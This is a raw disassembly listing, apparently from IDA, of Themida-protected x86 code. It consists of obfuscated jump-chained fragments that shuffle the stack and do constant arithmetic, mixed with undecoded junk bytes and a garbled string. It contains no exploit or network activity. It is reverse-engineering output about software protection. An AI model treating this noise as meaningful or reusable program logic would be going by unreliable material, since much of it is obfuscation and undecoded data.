loc_550C22:				; CODE XREF: Themida_:0054DF6Fj
		pop	esp
		or	eax, eax
		jnz	loc_55119F
		push	1
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		jmp	loc_54CB28
; ---------------------------------------------------------------------------
		dw 0F9F6h
		dd 0CCB60F66h, 0E904EC83h, 0FFFFF29Bh, 0E95119B3h, 162Fh
		dd 0C69530BBh, 58C301FEh, 81E9DF01h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550C63:				; CODE XREF: Themida_:0054A3BFj
		xor	ebp, edx
		not	edx
		push	ebp
		push	274Ch
		mov	[esp], edx
		pop	ebp
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	52A4h
		jmp	loc_54AF3E
; ---------------------------------------------------------------------------
		dw 1368h
		dd 5B3F094Eh, 1C44CB81h, 98E97578h, 5AFFFFD2h, 6802C683h
		dd 6C96h, 0E9243489h, 0FFFFDA07h, 0E918E280h, 0FFFFD89Ch
		dd 43B268h, 48876800h, 24890000h, 24048124h, 4,	6824048Fh
		dd 38C0h, 81243489h, 4ECh, 240C8900h, 0FFA8E953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550CE2:				; CODE XREF: Themida_:0054D1BEj
		add	dword ptr [esp], 3F86FF7h
		pop	ebx
		sub	ebx, 3F86FF7h
		pop	eax
		sub	ebx, 1A9D242Dh
		add	ebp, ebx
		pop	ebx
		push	edx
		mov	edx, 4
		sub	ebp, 49120BD7h
		sub	ebp, edx
		jmp	loc_548021
; ---------------------------------------------------------------------------


loc_550D0D:				; CODE XREF: Themida_:00551F81j
		xor	eax, ecx
		push	ecx
		jmp	loc_54A9A5
; ---------------------------------------------------------------------------


loc_550D15:				; CODE XREF: Themida_:0054F735j
		xor	ecx, 10E77C25h
		push	ecx
		jmp	loc_550143
; ---------------------------------------------------------------------------
		db 9, 57h, 1Ch
		dd 58ABE95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550D2A:				; CODE XREF: Themida_:0054AE69j
		sub	eax, 2A011D54h
		sub	eax, edx
		add	eax, 2A011D54h
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		push	dword ptr [edi+eax*4]
		jmp	loc_54FB34
; ---------------------------------------------------------------------------
		dd 0D4ED815Dh, 81210B6Ch, 0EDA9CFEDh, 0EC8155E9h, 4, 0E9240C89h
		dd 0FFFF7773h, 2912EB2Dh, 0EC3EE955h, 148BFFFFh, 0E2895224h
		dd 4C281h, 0EA810000h, 4, 5C241487h, 54240C89h,	0E9240C8Bh
		dd 0FFFF7AAEh, 62C268h,	240C8900h, 8904EC83h, 4832424h
		dd 34FF0424h, 240C8B24h, 0FFE019E9h, 0ACB450FFh, 0FFCA2BE9h
		dd 1BDFFh, 0EA010000h, 0D2C2815Dh, 817B642Ah, 125610F2h
		dd 0D872E948h, 0CF00FFFFh, 5D36E959h, 0FAE9FFFFh, 56FFFF57h
		dd 2BEh, 5EF10100h, 0FFB710E9h,	240C89FFh, 0B134B353h
		dd 67C8E984h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550DF6:				; CODE XREF: Themida_:0054F41Dj
		mov	ebx, esp
		jmp	loc_54F2F6
; ---------------------------------------------------------------------------
		db 52h,	0BAh, 36h
		dd 0E9118151h, 0FFFFA4DCh, 8702C383h, 248B241Ch, 6F96E924h
		dd 0C181FFFFh, 4, 5104E983h, 42474FFh, 24048F59h, 240C895Ch
		dd 16A9AEB9h, 23B9515Eh, 81371271h, 0B66349E9h,	0D1F74939h
		dd 20C0E181h, 0E9574FC9h, 177Bh
; ---------------------------------------------------------------------------


loc_550E4C:				; CODE XREF: Themida_:0054CC09j
		mov	[esp], ebp
		push	edx
		jmp	loc_54860D
; ---------------------------------------------------------------------------


loc_550E55:				; CODE XREF: Themida_:00548CABj
		push	dword ptr [esp]
		pop	eax
		push	ecx
		jmp	loc_54D2DD
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 5DEB3104h, 341168h, 242C8900h, 0F2BD5550h
		dd 0E9386461h, 0FFFF7754h, 305AC580h, 6DD0E9ECh, 1C87FFFFh
		dd 34FF5C24h, 24048B24h, 4C481h, 0E9560000h, 229h, 0C1815954h
		dd 4, 70F6BE56h, 186856BFh, 89000009h, 0E6B82404h, 0E9777C19h
		dd 0FFFFBB71h, 34FFD001h, 0C4835A24h, 246C8104h, 0F82CE404h
		dd 603BE935h, 0EABFFFFFh, 53B6258h, 7E55496h, 0FEEE9h
		dd 4C18100h, 56000000h,	2BEh, 0FFF10100h, 348B2434h, 9D00E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550EFA:				; CODE XREF: Themida_:0054AD23j
		mov	ecx, 4
		add	ebp, ecx
		jmp	loc_5476B4
; ---------------------------------------------------------------------------
		dw 3159h
		dd 0E9525BD8h, 0FFFF5BDCh, 8ECAE953h, 0E95BFFFFh, 0FFFFAC5Bh
		dd 4C4835Bh, 8904EC83h,	0DDE92404h, 89FFFFCEh, 4C581E5h
		dd 50000000h, 0AF0C81B8h, 0BD55483Bh, 56721DE5h, 4B12C581h
		dd 0E821CF7Bh, 6850515Dh, 609905CAh, 2E8C158h, 0FFF1F4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_550F59:				; CODE XREF: Themida_:005516AEj
		push	ecx
		push	ebp
		mov	ebp, 26590DAEh
		sub	ebp, 657217BAh
		jmp	loc_54F8D7
; ---------------------------------------------------------------------------
		db 81h
		dd 0CB6EE9F1h, 0E147E9BCh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550F76:				; CODE XREF: Themida_:0054AC98j
		and	ebx, 37A031EBh
		or	ebx, 27A52684h
		push	edx
		mov	edx, 33EC7A7Ch
		shl	edx, 2
		sub	edx, 7C9C667Eh
		neg	edx
		add	edx, 17309FCh
		xor	edx, 0C8A3872h
		add	edx, 0CF1BB3DBh
		jmp	loc_54F27B
; ---------------------------------------------------------------------------
		dw 0F5Ch
		dd 0F768C8B7h, 0E9000055h, 0FFFF7098h, 9C240CD3h, 0FFDB0BE9h
		dd 24048FFFh, 8FE3E95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_550FCA:				; CODE XREF: Themida_:0054E843j
		pop	bx
		add	dh, 0FFh
		push	20DEh
		jmp	loc_54F4F3
; ---------------------------------------------------------------------------
		db 87h,	0D1h, 81h
		dd 2810F0C1h, 41E9575Bh, 8BFFFFC9h, 5457240Ch, 4C7815Fh
		dd 83000000h, 0FF5704C7h, 5F042474h, 5C24048Fh,	8B24048Fh
		dd 85662424h, 0C6E99CC8h, 52FFFF55h, 0FFA471E9h, 5DE831FFh
		dd 0BED02A05h, 0A413E9F4h, 486FFFFh, 86D0F624h,	4FE2404h
		dd 24148B24h, 0FFCF5BE9h, 0D3005AFFh, 0FFB9CEE9h, 4BD55FFh
		dd 29000000h, 0FF525DEAh, 8B042474h, 0C4832414h, 24048F04h
		dd 0FFB370E9h, 0EC815EFFh, 4, 0E9241489h, 0FFFF7176h
; ---------------------------------------------------------------------------


loc_551068:				; CODE XREF: Themida_:0054A927j
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		push	esp
		pop	edx
		push	ebp
		jmp	loc_552600
; ---------------------------------------------------------------------------
		dd 2404FF66h, 5553E99Ch, 0BD55FFFFh, 74E209DAh,	1DF628BEh
		dd 5DEE018Bh, 335EF701h, 3C31243Ch, 243C3324h, 2404305Ch
		dd 552FE99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5510A6:				; CODE XREF: Themida_:005490F5j
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		mov	esp, [esp]
		shr	eax, 0Eh
		xor	eax, ecx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_54CD8E
; ---------------------------------------------------------------------------
		db 89h,	0E6h, 52h
		dd 0FFAF2BE9h, 323268FFh, 8F540000h, 0E9502404h, 0FFFFFF33h
; ---------------------------------------------------------------------------


loc_5510DC:				; CODE XREF: Themida_:00550916j
		mov	eax, 4
		push	ebp
		mov	ebp, offset dword_5B7298
		sub	ebp, 0ACE7B48h
		sub	ebp, 7E786914h
		sub	ebp, 49D76CA6h
		add	esi, ebp
		pop	ebp
		sub	esi, eax
		sub	esi, 2D3D2196h
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_5465D5
; ---------------------------------------------------------------------------


loc_551128:				; CODE XREF: Themida_:0055294Aj
		pop	eax
		push	edi
		push	eax
		jmp	loc_547E0C
; ---------------------------------------------------------------------------
		dd 0D8EA80h, 805A5AD3h,	0EB80EFEBh, 80C300AFh, 0C380AFC3h
		dd 0A55AE9EFh, 0D830FFFFh, 4EC81h, 1C890000h, 0F1B05024h
		dd 0FFBAF6E9h, 240C33FFh, 33240C31h, 665C240Ch,	9C240429h
		dd 0FF5464E9h, 7AACBDFFh, 0DE939ABh, 59FFFF7Ah,	83241C8Bh
		dd 0C78304C4h, 243C8704h, 3124248Bh, 0E99C2404h, 0FFFF5441h
; ---------------------------------------------------------------------------


loc_551194:				; CODE XREF: Themida_:0054E785j
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp


loc_55119F:				; CODE XREF: Themida_:00547050j
					; Themida_:00550C25j
		push	dword ptr [edi+24h]
		xor	dword ptr [esp], 52A82358h
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_54FB5F
; ---------------------------------------------------------------------------
		dd 0E92434FFh, 0FFFF78FEh, 0FF5404E9h, 8BC828FFh, 9968240Ch
		dd 89000077h, 8B542404h, 0C4832404h, 40504h, 15E90000h
		db 61h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5511EF:				; CODE XREF: Themida_:0054FA0Bj
		sub	eax, 595D01AEh
		jmp	loc_5470F4
; ---------------------------------------------------------------------------
		db 58h,	5Eh, 68h
		dd 1B0Eh, 53241489h, 41242C81h,	0E97D7A11h, 0FFFF73E4h
		dd 8103E1C1h, 0BB1933E1h, 6FE98123h, 51E444F7h,	0E0243481h
		dd 58693C02h, 3C02E035h, 0C5BE5969h, 311CCE19h,	0F00158C6h
		dd 0FF7DA2E9h, 48B66FFh, 78236824h, 2C890000h, 81E58924h
		dd 4C5h, 2BF5700h, 0E9000000h, 0FFFF7C30h
; ---------------------------------------------------------------------------


loc_55125C:				; CODE XREF: Themida_:0054D2E6j
		mov	eax, edx
		jmp	loc_54E4CF
; ---------------------------------------------------------------------------
		db 81h
		dd 9F4D5AC9h, 0E35AE956h, 8E68FFFFh, 8900000Fh,	5AE92414h
		dd 81FFFF53h, 4C7h, 243C3300h, 0FFD313E9h, 240C89FFh, 4B50F9B9h
		dd 244C0162h, 0B9FCE904h, 0FD01FFFFh, 242C875Fh, 0FF77EFE9h
		dd 575A59FFh, 940059BFh, 780AE968h, 74FFFFFFh, 8F5E0424h
		dd 0E92404h, 81000008h,	146C05EAh, 0E71BE984h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5512CA:				; CODE XREF: Themida_:005490CFj
		push	eax
		jmp	loc_54A8AA
; ---------------------------------------------------------------------------
		dd 831C77FFh, 0A1E904ECh, 81FFFFECh, 4C4h, 48E95A00h, 0C0FFFF6Fh
		dd 0A5E907EDh, 0E9FFFFD6h, 0FFFF52E1h, 6C7EE95Ch, 8F66FFFFh
		dd 0D2E98704h
		db 52h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551303:				; CODE XREF: Themida_:005514C3j
		sub	dword ptr [esp+4], 73020428h
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54AC9D
; ---------------------------------------------------------------------------
		db 29h,	0F5h, 5Eh
		dd 5DF5ED81h, 31E96969h, 5FFFFFD8h, 6EBF5751h, 0C17CB12Ch
		dd 0D7F704EFh, 0ED35EF81h, 0F989F834h, 0E9CA015Fh, 0FFFFC7BCh
		dd 50EB68h, 243C8900h, 0FF6C8FE9h, 148966FFh, 0DDECE924h
		dd 0C201FFFFh, 4DE95258h, 66FFFF79h, 0D9BE6656h, 0F229661Bh
		dd 89665E66h, 0B0F2E9D5h, 77FFFFFFh, 5257E92Ch,	0B0BEFFFFh
		dd 2175606Bh, 0F1815EF1h, 0BF70618h, 441CF181h,	0CE014BF7h
		dd 8EDCE959h, 0D3F7FFFFh, 3AC7EB81h, 0BDE90090h, 0C1FFFFF9h
		dd 0EFD102E7h, 4E9CCF81h, 0F781286Dh, 7D78B55Dh, 0E95FFB29h
		dd 0FFFF716Bh, 33240C31h, 248B240Ch, 240C8924h,	0FFA1F9E9h
		dd 0FEEC86FFh, 0C28EE9CCh, 8851FFFFh, 8BC888F1h, 0F4E9240Ch
		dd 8BFFFFFEh, 0E6E92424h, 59FFFF51h, 0CDB95155h, 0E97B6778h
		dd 0FFFFC671h, 0E9B7B252h, 0FFFF5697h, 0BF57E289h, 6760437Fh
		dd 8108E7C1h, 8B5B25F7h, 6BF7810Bh, 0C101DE37h,	0E95506E7h
		dd 0FFFF5CFBh
; ---------------------------------------------------------------------------


loc_551424:				; CODE XREF: Themida_:0054BC55j
		add	esi, 37D003A3h
		jmp	loc_54FEB2
; ---------------------------------------------------------------------------
		db 0Fh
		dd 0FFFDC684h, 815356FFh, 5159242Ch, 0ADE94F7Bh, 81FFFF91h
		dd 1758B1EDh, 24048B2Ah, 4C481h, 0FF550000h, 5D042474h
		dd 5C24048Fh, 240C8B66h, 4B4368h, 24048900h, 6FCCE954h
		dd 0C8BFFFFh, 4C48124h,	87000000h, 248B2404h, 24042924h
		dd 514FE99Ch, 0E951FFFFh, 0FFFF8151h, 83243C8Bh, 4E904C4h
		dd 66FFFF8Ch, 0E924048Bh, 0FFFF5ECEh, 4C48159h,	0E9000000h
		dd 0FFFF5129h
; ---------------------------------------------------------------------------


loc_5514AC:				; CODE XREF: Themida_:00546DD2j
		pop	ebp
		add	esp, 4


loc_5514B0:				; CODE XREF: Themida_:0054F3B1j
		push	ebx
		push	eax
		mov	eax, 73D75B75h
		add	dword ptr [esp+4], 73020428h
		add	[esp+4], eax
		jmp	loc_551303
; ---------------------------------------------------------------------------


loc_5514C8:				; CODE XREF: Themida_:0054711Aj
		xor	ebp, ecx
		pop	ecx
		and	ebp, 526546C4h
		add	ebp, 0FDFBC004h
		jmp	loc_54FC47
; ---------------------------------------------------------------------------
		dd 87B9515Fh, 55013068h, 651792BDh, 5DE92121h, 0FF7335E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5514F1:				; CODE XREF: Themida_:00548E36j
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	esp
		pop	dword ptr [esp]
		jmp	loc_54B087
; ---------------------------------------------------------------------------
		dd 33241C31h, 815C241Ch, 0FFF6EFEAh, 5AD0216Fh,	840FC009h
		dd 10F8h, 811C77FFh, 329F242Ch,	0C8B6FC4h, 0E0895024h
		dd 6B0ABA52h, 83425E39h, 0E2C1FFC2h, 0D4CA8108h, 0F72CD43Ah
		dd 988BE9DAh, 0C301FFFFh, 6450E958h, 0D931FFFFh, 59C8295Bh
		dd 4EC835Ah, 55241489h,	0FFF9B3E9h, 4BAFFh, 8AE90000h
		dd 89FFFFCBh, 4832424h,	81590424h, 4C1h, 0C1E95100h, 0FFFFFFB2h
		dd 0CFE92434h
		db 0E3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551583:				; CODE XREF: Themida_:0054C15Cj
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_5465D5
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFFDC40h, 2414875Eh, 2414895Ch, 0BE56h, 0DA680000h
		dd 89000052h, 5E5A2434h, 8989E952h, 0C481FFFFh,	4, 8102C783h
		dd 4ECh, 243C8900h, 42474FFh, 50243C8Bh, 0FFCE1BE9h, 5C381FFh
		dd 0E933AF3Bh, 0FFFFA1BAh
; ---------------------------------------------------------------------------


loc_5515EC:				; CODE XREF: Themida_:00549B33j
		sub	esi, 43401F5Ch
		sub	esi, 8804E3C6h
		mov	eax, esi
		pop	esi
		xor	[esp+4], eax
		jmp	loc_548BD4
; ---------------------------------------------------------------------------
		dd 0FE95556h, 51FFFF58h, 662C59B5h, 6604E800h, 232C59h
		dd 6841E9F0h, 815FFFFFh, 0A75B93EEh, 0C35CE95Fh, 55CFFFFh
		dd 2, 2474FF50h, 0A5E95804h, 5DFFFF99h,	0E959C829h, 0FFFF74C1h
		dd 0FF243489h, 5E042474h, 0FFF970E9h, 50E7BFFFh, 14E91656h
		dd 0F6FFFFB9h, 0F6E980D9h, 8006E9C0h, 0CFB626C1h, 0E9AAEE80h
		dd 0FFFFE9F7h
; ---------------------------------------------------------------------------


loc_551670:				; CODE XREF: Themida_:00549882j
		add	esp, 4
		push	edx
		mov	edx, 165D75ACh
		not	edx
		shl	edx, 2
		dec	edx
		dec	edx
		shl	edx, 2
		xor	edx, 9A28A52Ch
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		push	edi
		mov	edi, 24337183h
		add	edi, 0FFFFFFFFh
		push	esi
		mov	esi, 3D195B54h
		inc	esi
		shr	esi, 3
		jmp	loc_550F59
; ---------------------------------------------------------------------------


loc_5516B3:				; CODE XREF: Themida_:0054B4EEj
		pop	ecx
		jmp	loc_54760A
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 79FEE95Ch, 0EC83FFFFh, 24048904h, 8904EC83h,	0E955243Ch
		dd 0FFFF6384h, 68243C89h, 4546h, 0BE243489h, 71A23C32h
		dd 89F18951h, 315E59CFh, 8B04247Ch, 8950243Ch, 0FEBE56E0h
		dd 812D203Dh, 0C31F9AEEh, 70C68147h, 0E9742C19h, 0FFFFC061h
		dd 4C4815Ah, 42000000h,	7E09BD55h, 0F5817399h, 7A114043h
		dd 0FB5EC581h, 0EA316556h, 5AD1895Dh, 0B2CF6852h, 15AF4ADh
		dd 0EE2CE9D1h, 481FFFFh, 424h, 24148B00h, 0A6B0E953h, 4BFFFFFh
		dd 89000000h, 0EA015FFDh, 0AFB8505Dh, 5506E427h, 0FF8802E9h
		dd 0C0E95BFFh, 66FFFF71h, 0BE6656ADh, 0F76674F8h, 664666DEh
		dd 0CE816646h, 816654E8h, 669A78F6h, 665EF001h,	666E5205h
		dd 69BE6656h, 0F029662Fh, 1665E66h, 690566D8h, 919BE92Fh
		dd 685AFFFFh, 6636h, 0BE243489h, 5C146BBFh, 0FFEBE4E9h
		dd 60F581FFh, 683FE52Eh, 63F5h,	0BA241489h, 3F040D48h
		dd 148BD529h, 629DE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5517CE:				; CODE XREF: Themida_:0054AD55j
		not	esi
		xchg	esi, [esp]
		jmp	loc_54F5B3
; ---------------------------------------------------------------------------
		dd 2B60F66h, 7DCB6866h,	24048966h, 0FF4DECE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5517E9:				; CODE XREF: Themida_:0055211Aj
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		pop	esp
		or	eax, eax
		jz	loc_548CA0
		sub	esp, 4
		mov	[esp], edx
		push	esi
		jmp	loc_54D7CF
; ---------------------------------------------------------------------------
		db 0F7h
		dd 5D0F7D8h, 5C90489Eh,	0FFB34DE9h, 808405FFh, 29E9C202h
		dd 80FFFF8Dh, 0D0304FEAh, 5624148Bh, 0FFA1C2E9h, 48B66FFh
		dd 2C48324h, 5BDD2966h,	8BEB0166h, 0C481242Ch, 4, 19C38166h
		dd 0C301661Bh, 0FF7EECE9h, 241C89FFh, 88E9E389h, 0BEFFFFE5h
		dd 6B0862E8h, 2FE9F329h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551867:				; CODE XREF: Themida_:00550B35j
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_54AA46
; ---------------------------------------------------------------------------
		dd 0E924248Bh, 0FFFFF4F6h, 4C481h, 0CAE90000h
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551883:				; CODE XREF: Themida_:0054DFFAj
		push	dword ptr [edx]
		pop	ecx
		jmp	loc_54EFEE
; ---------------------------------------------------------------------------


loc_55188B:				; CODE XREF: Themida_:0054C87Bj
		or	edi, ebp
		pop	ebp
		dec	edi
		push	ecx
		mov	ecx, 4A9A0A50h
		xor	ecx, 12EDA988h
		sub	edi, ecx
		jmp	loc_546E5D
; ---------------------------------------------------------------------------
		dw 0BA52h
		dd 4, 25CAE981h, 0D1014625h, 25CAC181h,	815A4625h, 4C1h
		dd 240C8700h, 4D0FE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5518C6:				; CODE XREF: Themida_:005484A6j
		pop	edx
		jmp	loc_549E6F
; ---------------------------------------------------------------------------
		dd 24048966h, 0FF4D00E9h, 241489FFh, 870A4ABAh,	12EA817Eh
		dd 0E919A50Eh, 0FFFFF32Fh, 0BE195EB9h, 9BC3812Ch, 0E92EDE55h
		dd 846h, 0CE4FBF57h, 0F901DBEDh, 0AEC8E95Fh, 0D3F7FFFFh
		dd 0C104E3C1h, 0D3F707E3h, 0F381EBD1h, 0E43E88D2h, 295BDD31h
		dd 2434FFE8h, 4C4815Dh,	55000000h, 92AEE951h, 1431FFFFh
		dd 24143324h, 31241431h, 31D031C2h, 0E68956C2h,	4C681h
		dd 0EE810000h, 4, 5C243487h, 0FF7121E9h, 0E9B82CFFh, 0FFFFA5A3h
		dd 0C72C92B2h, 0C704D000h, 8B2434FFh, 89502414h, 405E0h
		dd 4050000h, 87000000h,	0E95C2404h, 0FFFF88A9h,	0E92434FFh
		dd 0FFFFC07Ch, 2CCD68h,	243C8900h, 0FF9323E9h, 246C31FFh
		dd 5707E904h, 0D968FFFFh, 89000010h, 0E2892414h, 4BB53h
		dd 99E90000h
		db 71h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5519B3:				; CODE XREF: Themida_:00549FC8j
		mov	ecx, edx
		jmp	loc_54CD14
; ---------------------------------------------------------------------------
		dw 248Bh
		dd 0B929E924h, 0C483FFFFh, 0DD37E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5519CA:				; CODE XREF: Themida_:00550617j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_54F5DB
; ---------------------------------------------------------------------------
		dd 0E9240C89h, 0FFFFF4BCh
; ---------------------------------------------------------------------------


loc_5519E0:				; CODE XREF: Themida_:0054EFF1j
		add	esp, 4
		push	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4C112151h
		push	ebp
		mov	ebp, 0DF34D6Fh
		or	ebp, 5597314Bh
		add	ebp, 32813EFEh
		inc	ebp
		push	edx
		mov	edx, 82288651h
		jmp	loc_54CB98
; ---------------------------------------------------------------------------
		db 0FEh
		dd 80D9F6C1h, 0C180ACC9h, 5FE980D9h, 0FFF3A9E9h, 81D529FFh
		dd 896F04EDh, 0EB53E922h, 0EB83FFFFh, 74FF5304h, 8F5B0424h
		dd 895C2404h, 0E957241Ch, 0FFFF79BEh, 0FEDDB753h, 66EFE9CFh
		dd 248BFFFFh, 4815124h,	8B527A24h, 55008F3Ch, 3BE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551A66:				; CODE XREF: Themida_:0054A87Aj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_547E17
; ---------------------------------------------------------------------------
		dd 51243C89h, 0F45B3068h, 240C8B71h, 4C481h, 53550000h
		dd 6419B4BBh, 5BDD896Fh, 1D3AF581h, 0C5810028h,	786557CAh
		dd 0FFC151E9h, 1E5168FFh, 2BE92EF1h
		db 0E7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551AAB:				; CODE XREF: Themida_:0054E04Aj
		sub	esp, 4
		mov	[esp], edx
		push	eax
		push	340h
		jmp	loc_547C78
; ---------------------------------------------------------------------------
		db 5Ch
		dd 34FFF801h, 0C5E95F24h, 50000009h, 2DD76857h,	0CCE93A33h
		dd 0FFFFFF70h, 5D042474h, 8B24048Fh, 0F7662424h, 816866E9h
		dd 1489660Bh, 9C506624h, 0FF4AE0E9h, 243CD2FFh,	4AD7E99Ch
		dd 0D601FFFFh, 4C51E95Ah, 0BE56FFFFh, 7EC8144Ah, 6472F681h
		dd 0F3317C6Dh, 0E9D8895Eh, 0FFFFA9A9h, 895AD301h, 279E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_551B26:				; CODE XREF: Themida_:0054F27Fj
		not	dword ptr [esp]
		pop	ebx
		sub	ebx, 750E419Ch
		sub	ecx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 772801h
		jmp	loc_54EDEA
; ---------------------------------------------------------------------------
aAFshns		db '─мрfShNs',0
		align 4
		dd 0B1240C89h, 40B3F3h,	0CDE959CBh, 0B8000003h,	4, 48BC301h
		dd 4C48324h, 4BE56h, 0F3290000h, 241C875Eh, 242C895Ch
		dd 42474FFh, 81242C8Bh,	4C4h, 24048F00h, 0FF7BD4E9h, 240C89FFh
		dd 42474FFh, 81240C8Bh,	4C4h, 24048F00h, 0C8B665Ch, 0CB3EE924h
		dd 8B66FFFFh, 3968240Ch, 89000025h, 5B54241Ch, 0FFB6EEE9h
		dd 0C68959FFh, 0E3895358h, 0FF4D31E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_551BC5:				; CODE XREF: Themida_:0054CE39j
		push	dword ptr [esp]
		jmp	loc_550765
; ---------------------------------------------------------------------------


loc_551BCD:				; CODE XREF: Themida_:0055298Fj
		mov	[esp], edi
		jmp	loc_54D782
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 2
		dd 76E9D828h, 81FFFFFDh, 4C3h, 0FE48E900h, 3BBBFFFFh, 83498438h
		dd 4EE904ECh, 81FFFFBCh, 0A72AE8EEh, 0E9FE010Fh, 0FFFFCE33h
; ---------------------------------------------------------------------------


loc_551C04:				; CODE XREF: Themida_:0054D97Aj
		add	esi, eax
		pop	eax
		jmp	loc_551D44
; ---------------------------------------------------------------------------
		dd 305BF680h, 805A66F5h, 0ED806FCDh, 59EB0079h,	0DCEB80h
		dd 0B15166C3h, 66CB00DCh, 76B65259h, 835AF328h,	0C8904ECh
		dd 0C7885324h, 535BF988h, 28BBh, 52FB0100h, 41E9CA88h
		db 0D7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_551C4B:				; CODE XREF: Themida_:0054D663j
		mov	esi, 443D47D7h
		sub	ebx, esi
		pop	esi
		shr	ebx, 8
		jmp	loc_549128
; ---------------------------------------------------------------------------
		db 0FFh
		dd 5D042474h, 0E924048Fh, 0FFFFED96h, 0E904C383h, 0FFFFAC4Ch
		dd 4C14E981h, 0F1014E9Fh, 4C14C181h, 71E94E9Fh,	81FFFF6Ch
		dd 940514C6h, 0DFB9516Ch, 81236C0Bh, 0A07681C6h, 81CE2946h
		dd 0A07681EEh, 0F6815946h, 0A11D17F1h, 6D468h, 24348900h
		dd 0D9685E5Dh, 89000037h, 19B9240Ch, 68023D2Eh,	4847h
		dd 89243C89h, 0E9FB89CFh, 0FFFFDCF3h
; ---------------------------------------------------------------------------


loc_551CCC:				; CODE XREF: Themida_:0054E623j
		push	ebp
		jmp	loc_5478E4
; ---------------------------------------------------------------------------


loc_551CD2:				; CODE XREF: Themida_:0054B430j
		add	esp, 4
		pop	eax
		and	ecx, edi
		mov	edi, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_549349
; ---------------------------------------------------------------------------
		db 50h
		dd 0FFCFE5E9h, 0E9DDF7FFh, 0FFFFCEF6h, 0ADC7815Eh, 81316F34h
		dd 192A9AC7h, 0E9D70152h, 0FFFF61A5h
; ---------------------------------------------------------------------------


loc_551D04:				; CODE XREF: Themida_:0054CCE5j
		add	dword ptr [esp], 4
		jmp	loc_54987E
; ---------------------------------------------------------------------------


loc_551D10:				; CODE XREF: Themida_:0054901Bj
		pop	ecx
		jmp	loc_54CA25
; ---------------------------------------------------------------------------


loc_551D16:				; CODE XREF: Themida_:00552270j
		mov	esi, 8F442ADh
		xor	esi, 47CF2A1Ch
		jmp	loc_54F746
; ---------------------------------------------------------------------------


loc_551D26:				; CODE XREF: Themida_:00548340j
		shr	eax, 1
		inc	eax
		push	ecx
		jmp	loc_549FDF
; ---------------------------------------------------------------------------
		db 55h
		dd 8528E953h, 0D3F6FFFFh, 0DBF6DBF6h, 0E905E3C0h, 0FFFFA5B4h
; ---------------------------------------------------------------------------


loc_551D44:				; CODE XREF: Themida_:00551C07j
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_548C69
; ---------------------------------------------------------------------------
		db 1
		dd 24048BC1h, 5604C483h, 0C681E689h, 4,	3304EE83h, 34312434h
		dd 24343324h, 28BE9h, 81DEF700h, 0F7DE04F6h, 34EA81EEh
		dd 0E973835Bh, 0FFFFE912h
; ---------------------------------------------------------------------------


loc_551D84:				; CODE XREF: Themida_:0054E98Fj
		add	esp, 4
		jmp	loc_54E225
; ---------------------------------------------------------------------------
		db 5Dh
		dd 0D9F7D9F7h, 74F181h,	0FCE9FA09h, 5BFFFF96h, 58CBA52h
		dd 0F28112F8h, 51AB3578h, 78D4F281h, 0EA811984h, 1C51F969h
		dd 0FFD66CE9h, 5FFB01FFh, 2E8EE381h, 0EBC11F73h, 2E3C103h
